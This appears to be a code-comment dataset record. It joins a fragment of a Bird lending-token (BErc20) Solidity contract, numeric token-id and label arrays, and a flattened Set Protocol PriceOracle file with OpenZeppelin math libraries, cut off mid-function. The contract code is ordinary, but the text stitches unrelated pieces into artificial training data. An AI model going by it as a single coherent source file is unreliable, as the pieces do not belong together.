(uint err,) = liquidateBorrowInternal(borrower, repayAmount, bTokenCollateral);
return err;
}
/**
* @notice The sender adds to reserves.
* @param addAmount The amount fo underlying token to add as reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReserves(uint addAmount) external returns (uint) {
return _addReservesInternal(addAmount);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying tokens owned by this contract
*/
function getCashPrior() internal view returns (uint) {
EIP20Interface token = EIP20Interface(underlying);
return token.balanceOf(address(this));
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case.
* This will revert due to insufficient balance or insufficient allowance.
* This function returns the actual amount received,
* which may be less than `amount` if there is a fee attached to the transfer.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(address from, uint amount) internal returns (uint) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);
uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this));
token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was *actually* transferred
uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter - balanceBefore; // underflow already checked above, just subtract
}
/**
* @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(address payable to, uint amount) internal {
EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);
token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
}
/**
* @title Bird's BErc20LINKDelegate Contract
* @notice BTokens which wrap an EIP-20 underlying and are delegated to
*/
contract BErc20LINKDelegate is BErc20, BDelegateInterface {
/**
* @notice Construct an empty delegate
*/
constructor() public {}
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public {
// Shh -- currently unused
data;
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == admin, "only the admin may call _becomeImplementation");
}
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public {
// Shh -- we don't ever want this hook to be marked pure
if (false) {
implementation = address(0);
}
require(msg.sender == admin, "only the admin may call _resignImplementation");
}
} | We call the defense hook */ | bController.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
| 285,932 | [
1,
3218,
745,
326,
1652,
3558,
3953,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
324,
2933,
18,
81,
474,
8097,
12,
2867,
12,
2211,
3631,
1131,
387,
16,
4153,
18,
18672,
49,
474,
6275,
16,
4153,
18,
81,
474,
5157,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Dependency file: @openzeppelin/as/math/SignedSafeMath.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// Dependency file: @openzeppelin/as/math/SafeMath.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/as/GSN/Context.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like as.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: as/lib/PreciseUnitMath.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
// pragma experimental ABIEncoderV2;
// import { SafeMath } from "@openzeppelin/as/math/SafeMath.sol";
// import { SignedSafeMath } from "@openzeppelin/as/math/SignedSafeMath.sol";
/**
* @title PreciseUnitMath
* @author Set Protocol
*
* Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from
* dYdX's BaseMath library.
*
* CHANGELOG:
* - 9/21/20: Added safePower function
*/
library PreciseUnitMath {
using SafeMath for uint256;
using SignedSafeMath for int256;
// The number One in precise units.
uint256 constant internal PRECISE_UNIT = 10 ** 18;
int256 constant internal PRECISE_UNIT_INT = 10 ** 18;
// Max unsigned integer value
uint256 constant internal MAX_UINT_256 = type(uint256).max;
// Max and min signed integer value
int256 constant internal MAX_INT_256 = type(int256).max;
int256 constant internal MIN_INT_256 = type(int256).min;
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function preciseUnit() internal pure returns (uint256) {
return PRECISE_UNIT;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function preciseUnitInt() internal pure returns (int256) {
return PRECISE_UNIT_INT;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function maxUint256() internal pure returns (uint256) {
return MAX_UINT_256;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function maxInt256() internal pure returns (int256) {
return MAX_INT_256;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function minInt256() internal pure returns (int256) {
return MIN_INT_256;
}
/**
* @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand
* of a number with 18 decimals precision.
*/
function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) {
return a.mul(b).div(PRECISE_UNIT);
}
/**
* @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the
* significand of a number with 18 decimals precision.
*/
function preciseMul(int256 a, int256 b) internal pure returns (int256) {
return a.mul(b).div(PRECISE_UNIT_INT);
}
/**
* @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand
* of a number with 18 decimals precision.
*/
function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
return a.mul(b).sub(1).div(PRECISE_UNIT).add(1);
}
/**
* @dev Divides value a by value b (result is rounded down).
*/
function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a.mul(PRECISE_UNIT).div(b);
}
/**
* @dev Divides value a by value b (result is rounded towards 0).
*/
function preciseDiv(int256 a, int256 b) internal pure returns (int256) {
return a.mul(PRECISE_UNIT_INT).div(b);
}
/**
* @dev Divides value a by value b (result is rounded up or away from 0).
*/
function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Cant divide by 0");
return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0;
}
/**
* @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0).
*/
function divDown(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "Cant divide by 0");
require(a != MIN_INT_256 || b != -1, "Invalid input");
int256 result = a.div(b);
if (a ^ b < 0 && a % b != 0) {
result -= 1;
}
return result;
}
/**
* @dev Multiplies value a by value b where rounding is towards the lesser number.
* (positive values are rounded towards zero and negative values are rounded away from 0).
*/
function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) {
return divDown(a.mul(b), PRECISE_UNIT_INT);
}
/**
* @dev Divides value a by value b where rounding is towards the lesser number.
* (positive values are rounded towards zero and negative values are rounded away from 0).
*/
function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) {
return divDown(a.mul(PRECISE_UNIT_INT), b);
}
/**
* @dev Performs the power on a specified value, reverts on overflow.
*/
function safePower(
uint256 a,
uint256 pow
)
internal
pure
returns (uint256)
{
require(a > 0, "Value must be positive");
uint256 result = 1;
for (uint256 i = 0; i < pow; i++){
uint256 previousResult = result;
// Using safemath multiplication prevents overflows
result = previousResult.mul(a);
}
return result;
}
}
// Dependency file: as/interfaces/IOracleAdapter.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
/**
* @title IOracleAdapter
* @author Set Protocol
*
* Interface for calling an oracle adapter.
*/
interface IOracleAdapter {
/**
* Function for retrieving a price that requires sourcing data from outside protocols to calculate.
*
* @param _assetOne First asset in pair
* @param _assetTwo Second asset in pair
* @return Boolean indicating if oracle exists
* @return Current price of asset represented in uint256
*/
function getPrice(address _assetOne, address _assetTwo) external view returns (bool, uint256);
}
// Dependency file: as/interfaces/IOracle.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
/**
* @title IOracle
* @author Set Protocol
*
* Interface for operating with any external Oracle that returns uint256 or
* an adapting contract that converts oracle output to uint256
*/
interface IOracle {
/**
* @return Current price of asset represented in uint256, typically a preciseUnit where 10^18 = 1.
*/
function read() external view returns (uint256);
}
// Dependency file: as/interfaces/IController.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
interface IController {
function addSet(address _setToken) external;
function feeRecipient() external view returns(address);
function getModuleFee(address _module, uint256 _feeType) external view returns(uint256);
function isModule(address _module) external view returns(bool);
function isSet(address _setToken) external view returns(bool);
function isSystemContract(address _contractAddress) external view returns (bool);
function resourceId(uint256 _id) external view returns(address);
}
// Dependency file: as/lib/AddressArrayUtils.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
/**
* @title AddressArrayUtils
* @author Set Protocol
*
* Utility functions to handle Address Arrays
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
}
// Dependency file: @openzeppelin/as/access/Ownable.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
// import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
// import { Ownable } from "@openzeppelin/as/access/Ownable.sol";
// import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
// import { IController } from "../interfaces/IController.sol";
// import { IOracle } from "../interfaces/IOracle.sol";
// import { IOracleAdapter } from "../interfaces/IOracleAdapter.sol";
// import { PreciseUnitMath } from "../lib/PreciseUnitMath.sol";
/**
* @title PriceOracle
* @author Set Protocol
*
* Contract that returns the price for any given asset pair. Price is retrieved either directly from an oracle,
* calculated using common asset pairs, or uses external data to calculate price.
* Note: Prices are returned in preciseUnits (i.e. 18 decimals of precision)
*/
contract PriceOracle is Ownable {
using PreciseUnitMath for uint256;
using AddressArrayUtils for address[];
/* ============ Events ============ */
event PairAdded(address indexed _assetOne, address indexed _assetTwo, address _oracle);
event PairRemoved(address indexed _assetOne, address indexed _assetTwo, address _oracle);
event PairEdited(address indexed _assetOne, address indexed _assetTwo, address _newOracle);
event AdapterAdded(address _adapter);
event AdapterRemoved(address _adapter);
event MasterQuoteAssetEdited(address _newMasterQuote);
/* ============ State Variables ============ */
// Address of the Controller contract
IController public controller;
// Mapping between assetA/assetB and its associated Price Oracle
// Asset 1 -> Asset 2 -> IOracle Interface
mapping(address => mapping(address => IOracle)) public oracles;
// Token address of the bridge asset that prices are derived from if the specified pair price is missing
address public masterQuoteAsset;
// List of IOracleAdapters used to return prices of third party protocols (e.g. Uniswap, Compound, Balancer)
address[] public adapters;
/* ============ Constructor ============ */
/**
* Set state variables and map asset pairs to their oracles
*
* @param _controller Address of controller contract
* @param _masterQuoteAsset Address of asset that can be used to link unrelated asset pairs
* @param _adapters List of adapters used to price assets created by other protocols
* @param _assetOnes List of first asset in pair, index i maps to same index in assetTwos and oracles
* @param _assetTwos List of second asset in pair, index i maps to same index in assetOnes and oracles
* @param _oracles List of oracles, index i maps to same index in assetOnes and assetTwos
*/
constructor(
IController _controller,
address _masterQuoteAsset,
address[] memory _adapters,
address[] memory _assetOnes,
address[] memory _assetTwos,
IOracle[] memory _oracles
)
public
{
controller = _controller;
masterQuoteAsset = _masterQuoteAsset;
adapters = _adapters;
require(
_assetOnes.length == _assetTwos.length && _assetTwos.length == _oracles.length,
"Array lengths do not match."
);
for (uint256 i = 0; i < _assetOnes.length; i++) {
oracles[_assetOnes[i]][_assetTwos[i]] = _oracles[i];
}
}
/* ============ External Functions ============ */
/**
* SYSTEM-ONLY PRIVELEGE: Find price of passed asset pair, if possible. The steps it takes are:
* 1) Check to see if a direct or inverse oracle of the pair exists,
* 2) If not, use masterQuoteAsset to link pairs together (i.e. BTC/ETH and ETH/USDC
* could be used to calculate BTC/USDC).
* 3) If not, check oracle adapters in case one or more of the assets needs external protocol data
* to price.
* 4) If all steps fail, revert.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
* @return Price of asset pair to 18 decimals of precision
*/
function getPrice(address _assetOne, address _assetTwo) external view returns (uint256) {
require(
controller.isSystemContract(msg.sender),
"PriceOracle.getPrice: Caller must be system contract."
);
bool priceFound;
uint256 price;
(priceFound, price) = _getDirectOrInversePrice(_assetOne, _assetTwo);
if (!priceFound) {
(priceFound, price) = _getPriceFromMasterQuote(_assetOne, _assetTwo);
}
if (!priceFound) {
(priceFound, price) = _getPriceFromAdapters(_assetOne, _assetTwo);
}
require(priceFound, "PriceOracle.getPrice: Price not found.");
return price;
}
/**
* GOVERNANCE FUNCTION: Add new asset pair oracle.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
* @param _oracle Address of asset pair's oracle
*/
function addPair(address _assetOne, address _assetTwo, IOracle _oracle) external onlyOwner {
require(
address(oracles[_assetOne][_assetTwo]) == address(0),
"PriceOracle.addPair: Pair already exists."
);
oracles[_assetOne][_assetTwo] = _oracle;
emit PairAdded(_assetOne, _assetTwo, address(_oracle));
}
/**
* GOVERNANCE FUNCTION: Edit an existing asset pair's oracle.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
* @param _oracle Address of asset pair's new oracle
*/
function editPair(address _assetOne, address _assetTwo, IOracle _oracle) external onlyOwner {
require(
address(oracles[_assetOne][_assetTwo]) != address(0),
"PriceOracle.editPair: Pair doesn't exist."
);
oracles[_assetOne][_assetTwo] = _oracle;
emit PairEdited(_assetOne, _assetTwo, address(_oracle));
}
/**
* GOVERNANCE FUNCTION: Remove asset pair's oracle.
*
* @param _assetOne Address of first asset in pair
* @param _assetTwo Address of second asset in pair
*/
function removePair(address _assetOne, address _assetTwo) external onlyOwner {
require(
address(oracles[_assetOne][_assetTwo]) != address(0),
